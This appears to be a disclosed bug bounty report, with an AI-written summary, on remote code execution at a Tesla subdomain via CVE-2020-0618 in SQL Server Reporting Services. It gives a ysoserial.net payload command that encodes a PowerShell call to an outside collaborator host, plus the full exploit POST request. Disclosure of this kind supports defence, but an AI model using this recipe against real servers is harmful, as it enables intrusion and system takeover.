RCE on https://beta-partners.tesla.com due to CVE-2020-0618
The beta-partners.tesla.com server ran a vulnerable version of SQL Server Reporting Services (CVE-2020-0618), allowing an attacker to send a crafted request that executes arbitrary code. This could lead to full system compromise.
- Accepted in 2 days
- Fixed in 3 days
- Disclosed after 2 days
Summary by parzel
It was possible for an attacker to gain Remote Code Execution because of a vulnerable SQL Server Reporting Services (CVE-2020-0618)
Report details
-
Submitted
15 Feb 2020 21:00:16 UTC
-
Target Location
*.tesla.com -
Target category
Web App
-
VRT
Server-Side Injection > Remote Code Execution (RCE)
-
Priority
P1
-
Bug URL
https://beta-partners.tesla.com/ReportServer/Pages/ReportViewer.aspx -
Description
Summary:
Remote Code Execution on https://beta-partners.tesla.com due to vulnerable SQL Server Reporting Services (CVE-2020-0618).
Impact:
The impact is critical as the full system can be compromised with the attack.
Reproduction:
- Download ysoserial.net to a windows system and unpack it to a folder (https://github.com/pwntester/ysoserial.net/releases/tag/v1.32)
- Generate a burp collaborator link or host your own webserver
- Generate your payload with the following snippet on the windows machine in the folder containing ysoserial.exe (replace the collaborator link with your link or your webserver):
$command = 'Invoke-WebRequest -Uri https://l3pyrfttac5xvt9pe1vzxokv3m9cx1.burpcollaborator.net/POC' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip- Insert the payload which was copied to your clipboard in the previous step into the attached POST request and run it against the server
- A Tesla machine will try to download something from your collaborator. You can of course modify the payload to run any other powershell code, which enables arbitrary code execution
Mitigation:
Update SQL Server Reporting Services to the February 2020 patch level to fix the issue.
Reference:
https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
-
HTTP request
POST /ReportServer/Pages/ReportViewer.aspx HTTP/1.1 Host: beta-partners.tesla.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: BIGipServer~TG-DMZ-PROD-APPS~DMZ-ORIGIN-PROD-SUP-WF1-HTTP=1670455562.20480.0000 Upgrade-Insecure-Requests: 1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 3429 NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PAYLOAD_HERE]&__VIEWSTATE=
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server was running an unpatched version of SQL Server Reporting Services that was vulnerable to CVE-2020-0618, a deserialisation flaw in the ReportViewer page.
Impact
The attacker could achieve remote code execution, leading to full system compromise.
What the attacker needed
Access to the vulnerable endpoint; Ability to host a server or use Burp Collaborator; Windows system to run ysoserial.net
How it was found
- Download ysoserial.net to a Windows system and unpack it.
- Generate a Burp Collaborator link or host your own web server.
- Generate a payload using ysoserial.exe with the TypeConfuseDelegate gadget and LosFormatter formatter, encoding a PowerShell command that contacts the collaborator.
- Insert the generated payload into the POST request to the ReportViewer.aspx endpoint and send it to the server.
- Observe that a Tesla machine attempts to download from the collaborator, confirming code execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL Server Reporting Services is a Microsoft tool for creating reports. A known bug in it lets an attacker run their own commands on the server by sending a special request. Here, the attacker used that bug to make the Tesla server download and run code, which could give them control of the machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.